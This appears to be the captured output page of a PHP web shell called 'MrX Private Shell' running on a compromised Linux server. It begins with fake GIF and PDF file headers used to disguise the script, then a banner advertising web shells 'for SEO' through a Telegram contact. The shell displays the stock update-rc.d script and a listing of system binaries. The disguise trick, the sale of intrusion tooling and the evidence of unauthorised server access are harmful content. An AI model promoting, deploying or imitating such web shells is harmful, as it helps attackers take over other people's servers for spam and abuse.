GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#! /usr/bin/perl
# vim: ft=perl
#
# update-rc.d Update the links in /etc/rc[0-9S].d/
#
use strict;
use warnings;
# NB: All Perl modules used here must be in perl-base. Specifically, depending
# on modules in perl-modules is not okay! See bug #716923
my $initd = "/etc/init.d";
my $etcd = "/etc/rc";
# Print usage message and die.
sub usage {
print STDERR "update-rc.d: error: @_\n" if ($#_ >= 0);
print STDERR <<EOF;
usage: update-rc.d [-f] <basename> remove
update-rc.d [-f] <basename> defaults
update-rc.d [-f] <basename> defaults-disabled
update-rc.d <basename> disable|enable [S|2|3|4|5]
-f: force
The disable|enable API is not stable and might change in the future.
EOF
exit (1);
}
exit main(@ARGV);
sub info {
print STDOUT "update-rc.d: @_\n";
}
sub warning {
print STDERR "update-rc.d: warning: @_\n";
}
sub error {
print STDERR "update-rc.d: error: @_\n";
exit (1);
}
sub error_code {
my $rc = shift;
print STDERR "update-rc.d: error: @_\n";
exit ($rc);
}
sub make_path {
my ($path) = @_;
my @dirs = ();
my @path = split /\//, $path;
map { push @dirs, $_; mkdir join('/', @dirs), 0755; } @path;
}
# Given a script name, return any runlevels except 0 or 6 in which the
# script is enabled. If that gives nothing and the script is not
# explicitly disabled, return 6 if the script is disabled in runlevel
# 0 or 6.
sub script_runlevels {
my ($scriptname) = @_;
my @links=<"/etc/rc[S12345].d/S[0-9][0-9]$scriptname">;
if (@links) {
return map(substr($_, 7, 1), @links);
} elsif (! <"/etc/rc[S12345].d/K[0-9][0-9]$scriptname">) {
@links=<"/etc/rc[06].d/K[0-9][0-9]$scriptname">;
return ("6") if (@links);
} else {
return ;
}
}
# Map the sysvinit runlevel to that of openrc.
sub openrc_rlconv {
my %rl_table = (
"S" => "sysinit",
"1" => "recovery",
"2" => "default",
"3" => "default",
"4" => "default",
"5" => "default",
"6" => "off" );
my %seen; # return unique runlevels
return grep !$seen{$_}++, map($rl_table{$_}, @_);
}
sub systemd_reload {
if (-d "/run/systemd/system") {
system("systemctl", "daemon-reload");
}
}
# Creates the necessary links to enable/disable a SysV init script (fallback if
# no insserv/rc-update exists)
sub make_sysv_links {
my ($scriptname, $action) = @_;
# for "remove" we cannot rely on the init script still being present, as
# this gets called in postrm for purging. Just remove all symlinks.
if ("remove" eq $action) { unlink($_) for
glob("/etc/rc?.d/[SK][0-9][0-9]$scriptname"); return; }
# if the service already has any links, do not touch them
# numbers we don't care about, but enabled/disabled state we do
return if glob("/etc/rc?.d/[SK][0-9][0-9]$scriptname");
# for "defaults", parse Default-{Start,Stop} and create these links
my ($lsb_start_ref, $lsb_stop_ref) = parse_def_start_stop("/etc/init.d/$scriptname");
my $start = $action eq "defaults-disabled" ? "K" : "S";
foreach my $lvl (@$lsb_start_ref) {
make_path("/etc/rc$lvl.d");
my $l = "/etc/rc$lvl.d/${start}01$scriptname";
symlink("../init.d/$scriptname", $l);
}
foreach my $lvl (@$lsb_stop_ref) {
make_path("/etc/rc$lvl.d");
my $l = "/etc/rc$lvl.d/K01$scriptname";
symlink("../init.d/$scriptname", $l);
}
}
# Creates the necessary links to enable/disable the service (equivalent of an
# initscript) in systemd.
sub make_systemd_links {
my ($scriptname, $action) = @_;
# If called by systemctl (via systemd-sysv-install), do nothing to avoid
# an endless loop.
if (defined($ENV{_SKIP_SYSTEMD_NATIVE}) && $ENV{_SKIP_SYSTEMD_NATIVE} == 1) {
return;
}
# If systemctl is available, let's use that to create the symlinks.
if (-x "/bin/systemctl" || -x "/usr/bin/systemctl") {
# Set this env var to avoid loop in systemd-sysv-install.
local $ENV{SYSTEMCTL_SKIP_SYSV} = 1;
# Use --quiet to mimic the old update-rc.d behaviour.
system("systemctl", "--quiet", "$action", "$scriptname");
return;
}
# In addition to the insserv call we also enable/disable the service
# for systemd by creating the appropriate symlink in case there is a
# native systemd service. In case systemd is not installed we do this
# on our own instead of using systemctl.
my $service_path;
if (-f "/etc/systemd/system/$scriptname.service") {
$service_path = "/etc/systemd/system/$scriptname.service";
} elsif (-f "/lib/systemd/system/$scriptname.service") {
$service_path = "/lib/systemd/system/$scriptname.service";
} elsif (-f "/usr/lib/systemd/system/$scriptname.service") {
$service_path = "/usr/lib/systemd/system/$scriptname.service";
}
if (defined($service_path)) {
my $changed_sth;
open my $fh, '<', $service_path or error("unable to read $service_path");
while (<$fh>) {
chomp;
if (/^\s*WantedBy=(.+)$/i) {
my $wants_dir = "/etc/systemd/system/$1.wants";
my $service_link = "$wants_dir/$scriptname.service";
if ("enable" eq $action) {
make_path($wants_dir);
symlink($service_path, $service_link);
} else {
unlink($service_link) if -e $service_link;
}
}
}
close($fh);
}
}
sub create_sequence {
my $force = (@_);
my $insserv = "/usr/lib/insserv/insserv";
# Fallback for older insserv package versions [2014-04-16]
$insserv = "/sbin/insserv" if ( -x "/sbin/insserv");
# If insserv is not configured it is not fully installed
my $insserv_installed = -x $insserv && -e "/etc/insserv.conf";
my @opts;
push(@opts, '-f') if $force;
# Add force flag if initscripts is not installed
# This enables inistcripts-less systems to not fail when a facility is missing
unshift(@opts, '-f') unless is_initscripts_installed();
my $openrc_installed = -x "/sbin/openrc";
my $sysv_insserv ={};
$sysv_insserv->{remove} = sub {
my ($scriptname) = @_;
if ( -f "/etc/init.d/$scriptname" ) {
return system($insserv, @opts, "-r", $scriptname) >> 8;
} else {
# insserv removes all dangling symlinks, no need to tell it
# what to look for.
my $rc = system($insserv, @opts) >> 8;
error_code($rc, "insserv rejected the script header") if $rc;
}
};
$sysv_insserv->{defaults} = sub {
my ($scriptname) = @_;
if ( -f "/etc/init.d/$scriptname" ) {
my $rc = system($insserv, @opts, $scriptname) >> 8;
error_code($rc, "insserv rejected the script header") if $rc;
} else {
error("initscript does not exist: /etc/init.d/$scriptname");
}
};
$sysv_insserv->{defaults_disabled} = sub {
my ($scriptname) = @_;
return if glob("/etc/rc?.d/[SK][0-9][0-9]$scriptname");
if ( -f "/etc/init.d/$scriptname" ) {
my $rc = system($insserv, @opts, $scriptname) >> 8;
error_code($rc, "insserv rejected the script header") if $rc;
} else {
error("initscript does not exist: /etc/init.d/$scriptname");
}
sysv_toggle("disable", $scriptname);
};
$sysv_insserv->{toggle} = sub {
my ($action, $scriptname) = (shift, shift);
sysv_toggle($action, $scriptname, @_);
# Call insserv to resequence modified links
my $rc = system($insserv, @opts, $scriptname) >> 8;
error_code($rc, "insserv rejected the script header") if $rc;
};
my $sysv_plain = {};
$sysv_plain->{remove} = sub {
my ($scriptname) = @_;
make_sysv_links($scriptname, "remove");
};
$sysv_plain->{defaults} = sub {
my ($scriptname) = @_;
make_sysv_links($scriptname, "defaults");
};
$sysv_plain->{defaults_disabled} = sub {
my ($scriptname) = @_;
make_sysv_links($scriptname, "defaults-disabled");
};
$sysv_plain->{toggle} = sub {
my ($action, $scriptname) = (shift, shift);
sysv_toggle($action, $scriptname, @_);
};
my $systemd = {};
$systemd->{remove} = sub {
systemd_reload;
};
$systemd->{defaults} = sub {
systemd_reload;
};
$systemd->{defaults_disabled} = sub {
systemd_reload;
};
$systemd->{toggle} = sub {
my ($action, $scriptname) = (shift, shift);
make_systemd_links($scriptname, $action);
systemd_reload;
};
# Should we check exit codeS?
my $openrc = {};
$openrc->{remove} = sub {
my ($scriptname) = @_;
system("rc-update", "-qqa", "delete", $scriptname);
};
$openrc->{defaults} = sub {
my ($scriptname) = @_;
# OpenRC does not distinguish halt and reboot. They are handled
# by /etc/init.d/transit instead.
return if ("halt" eq $scriptname || "reboot" eq $scriptname);
# no need to consider default disabled runlevels
# because everything is disabled by openrc by default
my @rls=script_runlevels($scriptname);
if ( @rls ) {
system("rc-update", "add", $scriptname, openrc_rlconv(@rls));
}
};
$openrc->{defaults_disabled} = sub {
# In openrc everything is disabled by default
};
$openrc->{toggle} = sub {
my ($action, $scriptname) = (shift, shift);
my (@toggle_lvls, $start_lvls, $stop_lvls, @symlinks);
my $lsb_header = lsb_header_for_script($scriptname);
# Extra arguments to disable|enable action are runlevels. If none
# given parse LSB info for Default-Start value.
if ($#_ >= 0) {
@toggle_lvls = @_;
} else {
($start_lvls, $stop_lvls) = parse_def_start_stop($lsb_header);
@toggle_lvls = @$start_lvls;
if ($#toggle_lvls < 0) {
error("$scriptname Default-Start contains no runlevels, aborting.");
}
}
my %openrc_act = ( "disable" => "del", "enable" => "add" );
system("rc-update", $openrc_act{$action}, $scriptname,
openrc_rlconv(@toggle_lvls))
};
my @sequence;
if ($insserv_installed) {
push @sequence, $sysv_insserv;
}
else {
push @sequence, $sysv_plain;
}
# OpenRC has to be after sysv_{insserv,plain} because it depends on them to synchronize
# states.
if ($openrc_installed) {
push @sequence, $openrc;
}
push @sequence, $systemd;
return @sequence;
}
## Dependency based
sub main {
my @args = @_;
my $scriptname;
my $action;
my $force = 0;
while($#args >= 0 && ($_ = $args[0]) =~ /^-/) {
shift @args;
if (/^-f$/) { $force = 1; next }
if (/^-h|--help$/) { usage(); }
usage("unknown option");
}
usage("not enough arguments") if ($#args < 1);
my @sequence = create_sequence($force);
$scriptname = shift @args;
$action = shift @args;
if ("remove" eq $action) {
foreach my $init (@sequence) {
$init->{remove}->($scriptname);
}
} elsif ("defaults" eq $action || "start" eq $action ||
"stop" eq $action) {
# All start/stop/defaults arguments are discarded so emit a
# message if arguments have been given and are in conflict
# with Default-Start/Default-Stop values of LSB comment.
if ("start" eq $action || "stop" eq $action) {
cmp_args_with_defaults($scriptname, $action, @args);
}
foreach my $init (@sequence) {
$init->{defaults}->($scriptname);
}
} elsif ("defaults-disabled" eq $action) {
foreach my $init (@sequence) {
$init->{defaults_disabled}->($scriptname);
}
} elsif ("disable" eq $action || "enable" eq $action) {
foreach my $init (@sequence) {
$init->{toggle}->($action, $scriptname, @args);
}
} else {
usage();
}
}
sub parse_def_start_stop {
my $script = shift;
my (%lsb, @def_start_lvls, @def_stop_lvls);
open my $fh, '<', $script or error("unable to read $script");
while (<$fh>) {
chomp;
if (m/^### BEGIN INIT INFO\s*$/) {
$lsb{'begin'}++;
}
elsif (m/^### END INIT INFO\s*$/) {
$lsb{'end'}++;
last;
}
elsif ($lsb{'begin'} and not $lsb{'end'}) {
if (m/^# Default-Start:\s*(\S?.*)$/) {
@def_start_lvls = split(' ', $1);
}
if (m/^# Default-Stop:\s*(\S?.*)$/) {
@def_stop_lvls = split(' ', $1);
}
}
}
close($fh);
return (\@def_start_lvls, \@def_stop_lvls);
}
sub lsb_header_for_script {
my $name = shift;
foreach my $file ("/etc/insserv/overrides/$name", "/etc/init.d/$name",
"/usr/share/insserv/overrides/$name") {
return $file if -s $file;
}
error("cannot find a LSB script for $name");
}
sub cmp_args_with_defaults {
my ($name, $act) = (shift, shift);
my ($lsb_start_ref, $lsb_stop_ref, $arg_str, $lsb_str);
my (@arg_start_lvls, @arg_stop_lvls, @lsb_start_lvls, @lsb_stop_lvls);
($lsb_start_ref, $lsb_stop_ref) = parse_def_start_stop("/etc/init.d/$name");
@lsb_start_lvls = @$lsb_start_ref;
@lsb_stop_lvls = @$lsb_stop_ref;
return if (!@lsb_start_lvls and !@lsb_stop_lvls);
warning "start and stop actions are no longer supported; falling back to defaults";
my $start = $act eq 'start' ? 1 : 0;
my $stop = $act eq 'stop' ? 1 : 0;
# The legacy part of this program passes arguments starting with
# "start|stop NN x y z ." but the insserv part gives argument list
# starting with sequence number (ie. strips off leading "start|stop")
# Start processing arguments immediately after the first seq number.
my $argi = $_[0] eq $act ? 2 : 1;
while (defined $_[$argi]) {
my $arg = $_[$argi];
# Runlevels 0 and 6 are always stop runlevels
if ($arg eq 0 or $arg eq 6) {
$start = 0; $stop = 1;
} elsif ($arg eq 'start') {
$start = 1; $stop = 0; $argi++; next;
} elsif ($arg eq 'stop') {
$start = 0; $stop = 1; $argi++; next;
} elsif ($arg eq '.') {
next;
}
push(@arg_start_lvls, $arg) if $start;
push(@arg_stop_lvls, $arg) if $stop;
} continue {
$argi++;
}
if ($#arg_start_lvls != $#lsb_start_lvls or
join("\0", sort @arg_start_lvls) ne join("\0", sort @lsb_start_lvls)) {
$arg_str = @arg_start_lvls ? "@arg_start_lvls" : "none";
$lsb_str = @lsb_start_lvls ? "@lsb_start_lvls" : "none";
warning "start runlevel arguments ($arg_str) do not match",
"$name Default-Start values ($lsb_str)";
}
if ($#arg_stop_lvls != $#lsb_stop_lvls or
join("\0", sort @arg_stop_lvls) ne join("\0", sort @lsb_stop_lvls)) {
$arg_str = @arg_stop_lvls ? "@arg_stop_lvls" : "none";
$lsb_str = @lsb_stop_lvls ? "@lsb_stop_lvls" : "none";
warning "stop runlevel arguments ($arg_str) do not match",
"$name Default-Stop values ($lsb_str)";
}
}
sub sysv_toggle {
my ($act, $name) = (shift, shift);
my (@toggle_lvls, $start_lvls, $stop_lvls, @symlinks);
my $lsb_header = lsb_header_for_script($name);
# Extra arguments to disable|enable action are runlevels. If none
# given parse LSB info for Default-Start value.
if ($#_ >= 0) {
@toggle_lvls = @_;
} else {
($start_lvls, $stop_lvls) = parse_def_start_stop($lsb_header);
@toggle_lvls = @$start_lvls;
if ($#toggle_lvls < 0) {
error("$name Default-Start contains no runlevels, aborting.");
}
}
# Find symlinks in rc.d directories. Refuse to modify links in runlevels
# not used for normal system start sequence.
for my $lvl (@toggle_lvls) {
if ($lvl !~ /^[S2345]$/) {
warning("$act action will have no effect on runlevel $lvl");
next;
}
push(@symlinks, $_) for glob("/etc/rc$lvl.d/[SK][0-9][0-9]$name");
}
if (!@symlinks) {
error("no runlevel symlinks to modify, aborting!");
}
# Toggle S/K bit of script symlink.
for my $cur_lnk (@symlinks) {
my $sk;
my @new_lnk = split(//, $cur_lnk);
if ("disable" eq $act) {
$sk = rindex($cur_lnk, '/S') + 1;
next if $sk < 1;
$new_lnk[$sk] = 'K';
} else {
$sk = rindex($cur_lnk, '/K') + 1;
next if $sk < 1;
$new_lnk[$sk] = 'S';
}
rename($cur_lnk, join('', @new_lnk)) or error($!);
}
}
# Try to determine if initscripts is installed
sub is_initscripts_installed {
# Check if mountkernfs is available. We cannot make inferences
# using the running init system because we may be running in a
# chroot
return glob('/etc/rcS.d/S??mountkernfs.sh');
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| a2disconf | File | 15.89 KB | 0755 |
|
| a2dismod | File | 15.89 KB | 0755 |
|
| a2dissite | File | 15.89 KB | 0755 |
|
| a2enconf | File | 15.89 KB | 0755 |
|
| a2enmod | File | 15.89 KB | 0755 |
|
| a2ensite | File | 15.89 KB | 0755 |
|
| a2query | File | 9.64 KB | 0755 |
|
| aa-remove-unknown | File | 3 KB | 0755 |
|
| aa-status | File | 62.62 KB | 0755 |
|
| aa-teardown | File | 137 B | 0755 |
|
| accessdb | File | 14.55 KB | 0755 |
|
| add-shell | File | 1.03 KB | 0755 |
|
| addgnupghome | File | 3 KB | 0755 |
|
| addgroup | File | 37.35 KB | 0755 |
|
| adduser | File | 37.35 KB | 0755 |
|
| agetty | File | 55.56 KB | 0755 |
|
| apache2 | File | 740.89 KB | 0755 |
|
| apache2ctl | File | 7.06 KB | 0755 |
|
| apachectl | File | 7.06 KB | 0755 |
|
| apparmor_parser | File | 1.48 MB | 0755 |
|
| apparmor_status | File | 62.62 KB | 0755 |
|
| applygnupgdefaults | File | 2.17 KB | 0755 |
|
| arpd | File | 26.33 KB | 0755 |
|
| arptables | File | 219.04 KB | 0755 |
|
| arptables-nft | File | 219.04 KB | 0755 |
|
| arptables-nft-restore | File | 219.04 KB | 0755 |
|
| arptables-nft-save | File | 219.04 KB | 0755 |
|
| arptables-restore | File | 219.04 KB | 0755 |
|
| arptables-save | File | 219.04 KB | 0755 |
|
| badblocks | File | 34.32 KB | 0755 |
|
| bcache-super-show | File | 14.3 KB | 0755 |
|
| biosdecode | File | 23.2 KB | 0755 |
|
| blkdeactivate | File | 15.97 KB | 0755 |
|
| blkdiscard | File | 22.38 KB | 0755 |
|
| blkid | File | 50.41 KB | 0755 |
|
| blkzone | File | 34.38 KB | 0755 |
|
| blockdev | File | 30.38 KB | 0755 |
|
| bridge | File | 92.49 KB | 0755 |
|
| cache_check | File | 1.33 MB | 0755 |
|
| cache_dump | File | 1.33 MB | 0755 |
|
| cache_metadata_size | File | 1.33 MB | 0755 |
|
| cache_repair | File | 1.33 MB | 0755 |
|
| cache_restore | File | 1.33 MB | 0755 |
|
| cache_writeback | File | 1.33 MB | 0755 |
|
| capsh | File | 30.3 KB | 0755 |
|
| cfdisk | File | 94.73 KB | 0755 |
|
| cgdisk | File | 150.48 KB | 0755 |
|
| chcpu | File | 30.38 KB | 0755 |
|
| check_forensic | File | 952 B | 0755 |
|
| chgpasswd | File | 58.13 KB | 0755 |
|
| chmem | File | 34.38 KB | 0755 |
|
| chpasswd | File | 54.16 KB | 0755 |
|
| chroot | File | 38.51 KB | 0755 |
|
| conntrack | File | 79.24 KB | 0755 |
|
| cpgr | File | 48.29 KB | 0755 |
|
| cppw | File | 48.29 KB | 0755 |
|
| cron | File | 50.58 KB | 0755 |
|
| cryptdisks_start | File | 1.51 KB | 0755 |
|
| cryptdisks_stop | File | 844 B | 0755 |
|
| cryptsetup | File | 169.55 KB | 0755 |
|
| cryptsetup-reencrypt | File | 90.38 KB | 0755 |
|
| cryptsetup-ssh | File | 23.53 KB | 0755 |
|
| ctrlaltdel | File | 14.38 KB | 0755 |
|
| dcb | File | 80.52 KB | 0755 |
|
| debugfs | File | 229.8 KB | 0755 |
|
| delgroup | File | 16.11 KB | 0755 |
|
| deluser | File | 16.11 KB | 0755 |
|
| depmod | File | 166.36 KB | 0755 |
|
| devlink | File | 142.86 KB | 0755 |
|
| dhclient | File | 442.66 KB | 0755 |
|
| dhclient-script | File | 15.92 KB | 0755 |
|
| dmeventd | File | 50.38 KB | 0755 |
|
| dmidecode | File | 122.98 KB | 0755 |
|
| dmsetup | File | 171.02 KB | 0755 |
|
| dmstats | File | 171.02 KB | 0755 |
|
| dosfsck | File | 82.38 KB | 0755 |
|
| dosfslabel | File | 38.38 KB | 0755 |
|
| dpkg-preconfigure | File | 3.58 KB | 0755 |
|
| dpkg-reconfigure | File | 4.38 KB | 0755 |
|
| dumpe2fs | File | 30.31 KB | 0755 |
|
| e2freefrag | File | 14.3 KB | 0755 |
|
| e2fsck | File | 351.84 KB | 0755 |
|
| e2image | File | 42.31 KB | 0755 |
|
| e2label | File | 102.55 KB | 0755 |
|
| e2mmpstatus | File | 30.31 KB | 0755 |
|
| e2scrub | File | 7.13 KB | 0755 |
|
| e2scrub_all | File | 5.27 KB | 0755 |
|
| e2undo | File | 22.3 KB | 0755 |
|
| e4crypt | File | 30.38 KB | 0755 |
|
| e4defrag | File | 30.3 KB | 0755 |
|
| ebtables | File | 219.04 KB | 0755 |
|
| ebtables-nft | File | 219.04 KB | 0755 |
|
| ebtables-nft-restore | File | 219.04 KB | 0755 |
|
| ebtables-nft-save | File | 219.04 KB | 0755 |
|
| ebtables-restore | File | 219.04 KB | 0755 |
|
| ebtables-save | File | 219.04 KB | 0755 |
|
| era_check | File | 1.33 MB | 0755 |
|
| era_dump | File | 1.33 MB | 0755 |
|
| era_invalidate | File | 1.33 MB | 0755 |
|
| era_restore | File | 1.33 MB | 0755 |
|
| ethtool | File | 551.48 KB | 0755 |
|
| faillock | File | 14.15 KB | 0755 |
|
| fatlabel | File | 38.38 KB | 0755 |
|
| fdisk | File | 110.42 KB | 0755 |
|
| filefrag | File | 18.32 KB | 0755 |
|
| findfs | File | 14.38 KB | 0755 |
|
| fixparts | File | 58.48 KB | 0755 |
|
| fsadm | File | 23.94 KB | 0755 |
|
| fsck | File | 42.42 KB | 0755 |
|
| fsck.btrfs | File | 1.16 KB | 0755 |
|
| fsck.cramfs | File | 30.44 KB | 0755 |
|
| fsck.ext2 | File | 351.84 KB | 0755 |
|
| fsck.ext3 | File | 351.84 KB | 0755 |
|
| fsck.ext4 | File | 351.84 KB | 0755 |
|
| fsck.fat | File | 82.38 KB | 0755 |
|
| fsck.minix | File | 54.41 KB | 0755 |
|
| fsck.msdos | File | 82.38 KB | 0755 |
|
| fsck.vfat | File | 82.38 KB | 0755 |
|
| fsck.xfs | File | 1.89 KB | 0755 |
|
| fsfreeze | File | 14.38 KB | 0755 |
|
| fstab-decode | File | 18.3 KB | 0755 |
|
| fstrim | File | 42.38 KB | 0755 |
|
| gdisk | File | 174.48 KB | 0755 |
|
| genl | File | 90.44 KB | 0755 |
|
| getcap | File | 14.3 KB | 0755 |
|
| getpcaps | File | 14.3 KB | 0755 |
|
| getty | File | 55.56 KB | 0755 |
|
| groupadd | File | 66.91 KB | 0755 |
|
| groupdel | File | 62.73 KB | 0755 |
|
| groupmems | File | 54.19 KB | 0755 |
|
| groupmod | File | 66.82 KB | 0755 |
|
| grpck | File | 58.13 KB | 0755 |
|
| grpconv | File | 50.01 KB | 0755 |
|
| grpunconv | File | 50.01 KB | 0755 |
|
| grub-bios-setup | File | 941.42 KB | 0755 |
|
| grub-install | File | 1.15 MB | 0755 |
|
| grub-macbless | File | 929.11 KB | 0755 |
|
| grub-mkconfig | File | 8.6 KB | 0755 |
|
| grub-mkdevicemap | File | 215.7 KB | 0755 |
|
| grub-probe | File | 941.36 KB | 0755 |
|
| grub-reboot | File | 4.73 KB | 0755 |
|
| grub-set-default | File | 3.47 KB | 0755 |
|
| halt | File | 1.06 MB | 0755 |
|
| hdparm | File | 139.43 KB | 0755 |
|
| httxt2dbm | File | 14.3 KB | 0755 |
|
| hwclock | File | 50.5 KB | 0755 |
|
| iconvconfig | File | 30.4 KB | 0755 |
|
| init | File | 1.76 MB | 0755 |
|
| insmod | File | 166.36 KB | 0755 |
|
| installkernel | File | 2.6 KB | 0755 |
|
| integritysetup | File | 54.07 KB | 0755 |
|
| invoke-rc.d | File | 16.12 KB | 0755 |
|
| ip | File | 702.05 KB | 0755 |
|
| ip6tables | File | 219.04 KB | 0755 |
|
| ip6tables-apply | File | 6.89 KB | 0755 |
|
| ip6tables-legacy | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-restore | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-save | File | 96.95 KB | 0755 |
|
| ip6tables-nft | File | 219.04 KB | 0755 |
|
| ip6tables-nft-restore | File | 219.04 KB | 0755 |
|
| ip6tables-nft-save | File | 219.04 KB | 0755 |
|
| ip6tables-restore | File | 219.04 KB | 0755 |
|
| ip6tables-restore-translate | File | 219.04 KB | 0755 |
|
| ip6tables-save | File | 219.04 KB | 0755 |
|
| ip6tables-translate | File | 219.04 KB | 0755 |
|
| iptables | File | 219.04 KB | 0755 |
|
| iptables-apply | File | 6.89 KB | 0755 |
|
| iptables-legacy | File | 96.95 KB | 0755 |
|
| iptables-legacy-restore | File | 96.95 KB | 0755 |
|
| iptables-legacy-save | File | 96.95 KB | 0755 |
|
| iptables-nft | File | 219.04 KB | 0755 |
|
| iptables-nft-restore | File | 219.04 KB | 0755 |
|
| iptables-nft-save | File | 219.04 KB | 0755 |
|
| iptables-restore | File | 219.04 KB | 0755 |
|
| iptables-restore-translate | File | 219.04 KB | 0755 |
|
| iptables-save | File | 219.04 KB | 0755 |
|
| iptables-translate | File | 219.04 KB | 0755 |
|
| irqbalance | File | 66.86 KB | 0755 |
|
| irqbalance-ui | File | 34.38 KB | 0755 |
|
| iscsi-iname | File | 14.3 KB | 0755 |
|
| iscsi_discovery | File | 5.17 KB | 0755 |
|
| iscsiadm | File | 398.46 KB | 0755 |
|
| iscsid | File | 298.55 KB | 0755 |
|
| iscsistart | File | 278.56 KB | 0755 |
|
| isosize | File | 14.38 KB | 0755 |
|
| kbdrate | File | 18.16 KB | 0755 |
|
| killall5 | File | 30.38 KB | 0755 |
|
| kpartx | File | 46.16 KB | 0755 |
|
| ldattach | File | 26.38 KB | 0755 |
|
| ldconfig | File | 387 B | 0755 |
|
| ldconfig.real | File | 1.16 MB | 0755 |
|
| locale-gen | File | 4.29 KB | 0755 |
|
| logrotate | File | 102.24 KB | 0755 |
|
| logsave | File | 14.16 KB | 0755 |
|
| losetup | File | 70.52 KB | 0755 |
|
| lsmod | File | 166.36 KB | 0755 |
|
| luksformat | File | 3.32 KB | 0755 |
|
| lvchange | File | 2.89 MB | 0755 |
|
| lvconvert | File | 2.89 MB | 0755 |
|
| lvcreate | File | 2.89 MB | 0755 |
|
| lvdisplay | File | 2.89 MB | 0755 |
|
| lvextend | File | 2.89 MB | 0755 |
|
| lvm | File | 2.89 MB | 0755 |
|
| lvmconfig | File | 2.89 MB | 0755 |
|
| lvmdiskscan | File | 2.89 MB | 0755 |
|
| lvmdump | File | 10.07 KB | 0755 |
|
| lvmpolld | File | 236.2 KB | 0755 |
|
| lvmsadc | File | 2.89 MB | 0755 |
|
| lvmsar | File | 2.89 MB | 0755 |
|
| lvreduce | File | 2.89 MB | 0755 |
|
| lvremove | File | 2.89 MB | 0755 |
|
| lvrename | File | 2.89 MB | 0755 |
|
| lvresize | File | 2.89 MB | 0755 |
|
| lvs | File | 2.89 MB | 0755 |
|
| lvscan | File | 2.89 MB | 0755 |
|
| make-bcache | File | 22.38 KB | 0755 |
|
| make-ssl-cert | File | 6.65 KB | 0755 |
|
| mariadbd | File | 24.34 MB | 0755 |
|
| mdadm | File | 601.31 KB | 0755 |
|
| mdmon | File | 258.44 KB | 0755 |
|
| mkdosfs | File | 50.83 KB | 0755 |
|
| mke2fs | File | 130.62 KB | 0755 |
|
| mkfs | File | 14.38 KB | 0755 |
|
| mkfs.bfs | File | 22.38 KB | 0755 |
|
| mkfs.btrfs | File | 471.25 KB | 0755 |
|
| mkfs.cramfs | File | 34.32 KB | 0755 |
|
| mkfs.ext2 | File | 130.62 KB | 0755 |
|
| mkfs.ext3 | File | 130.62 KB | 0755 |
|
| mkfs.ext4 | File | 130.62 KB | 0755 |
|
| mkfs.fat | File | 50.83 KB | 0755 |
|
| mkfs.minix | File | 42.39 KB | 0755 |
|
| mkfs.msdos | File | 50.83 KB | 0755 |
|
| mkfs.ntfs | File | 70.38 KB | 0755 |
|
| mkfs.vfat | File | 50.83 KB | 0755 |
|
| mkfs.xfs | File | 382.77 KB | 0755 |
|
| mkhomedir_helper | File | 22.17 KB | 0755 |
|
| mkinitramfs | File | 12.16 KB | 0755 |
|
| mklost+found | File | 14.3 KB | 0755 |
|
| mkntfs | File | 70.38 KB | 0755 |
|
| mkswap | File | 46.38 KB | 0755 |
|
| modinfo | File | 166.36 KB | 0755 |
|
| modprobe | File | 166.36 KB | 0755 |
|
| mount.fuse | File | 18.3 KB | 0755 |
|
| mount.fuse3 | File | 18.3 KB | 0755 |
|
| mount.lowntfs-3g | File | 114.98 KB | 0755 |
|
| mount.ntfs | File | 159.01 KB | 0755 |
|
| mount.ntfs-3g | File | 159.01 KB | 0755 |
|
| mpathpersist | File | 31.05 KB | 0755 |
|
| multipath | File | 34.15 KB | 0755 |
|
| multipathd | File | 134.26 KB | 0755 |
|
| mysqld | File | 24.34 MB | 0755 |
|
| netplan | File | 798 B | 0755 |
|
| newusers | File | 74.73 KB | 0755 |
|
| nfnl_osf | File | 18.3 KB | 0755 |
|
| nft | File | 26.23 KB | 0755 |
|
| nginx | File | 1.18 MB | 0755 |
|
| nologin | File | 14.3 KB | 0755 |
|
| ntfsclone | File | 50.38 KB | 0755 |
|
| ntfscp | File | 34.38 KB | 0755 |
|
| ntfslabel | File | 22.38 KB | 0755 |
|
| ntfsresize | File | 62.39 KB | 0755 |
|
| ntfsundelete | File | 50.38 KB | 0755 |
|
| on_ac_power | File | 3.7 KB | 0755 |
|
| overlayroot-chroot | File | 2.45 KB | 0755 |
|
| ownership | File | 14.45 KB | 0755 |
|
| pam-auth-update | File | 20.5 KB | 0755 |
|
| pam_extrausers_chkpwd | File | 22.15 KB | 2755 |
|
| pam_extrausers_update | File | 30.15 KB | 0755 |
|
| pam_getenv | File | 2.82 KB | 0755 |
|
| pam_timestamp_check | File | 14.15 KB | 0755 |
|
| parted | File | 86.4 KB | 0755 |
|
| partprobe | File | 14.38 KB | 0755 |
|
| pdata_tools | File | 1.33 MB | 0755 |
|
| pg_updatedicts | File | 4.26 KB | 0755 |
|
| php-fpm8.3 | File | 5.5 MB | 0755 |
|
| phpdismod | File | 7.11 KB | 0755 |
|
| phpenmod | File | 7.11 KB | 0755 |
|
| phpquery | File | 6.24 KB | 0755 |
|
| pivot_root | File | 14.38 KB | 0755 |
|
| plymouthd | File | 150.55 KB | 0755 |
|
| poweroff | File | 1.06 MB | 0755 |
|
| pvchange | File | 2.89 MB | 0755 |
|
| pvck | File | 2.89 MB | 0755 |
|
| pvcreate | File | 2.89 MB | 0755 |
|
| pvdisplay | File | 2.89 MB | 0755 |
|
| pvmove | File | 2.89 MB | 0755 |
|
| pvremove | File | 2.89 MB | 0755 |
|
| pvresize | File | 2.89 MB | 0755 |
|
| pvs | File | 2.89 MB | 0755 |
|
| pvscan | File | 2.89 MB | 0755 |
|
| pwck | File | 50.13 KB | 0755 |
|
| pwconv | File | 46.01 KB | 0755 |
|
| pwunconv | File | 42.01 KB | 0755 |
|
| qemu-ga | File | 647.63 KB | 0755 |
|
| readprofile | File | 22.41 KB | 0755 |
|
| reboot | File | 1.06 MB | 0755 |
|
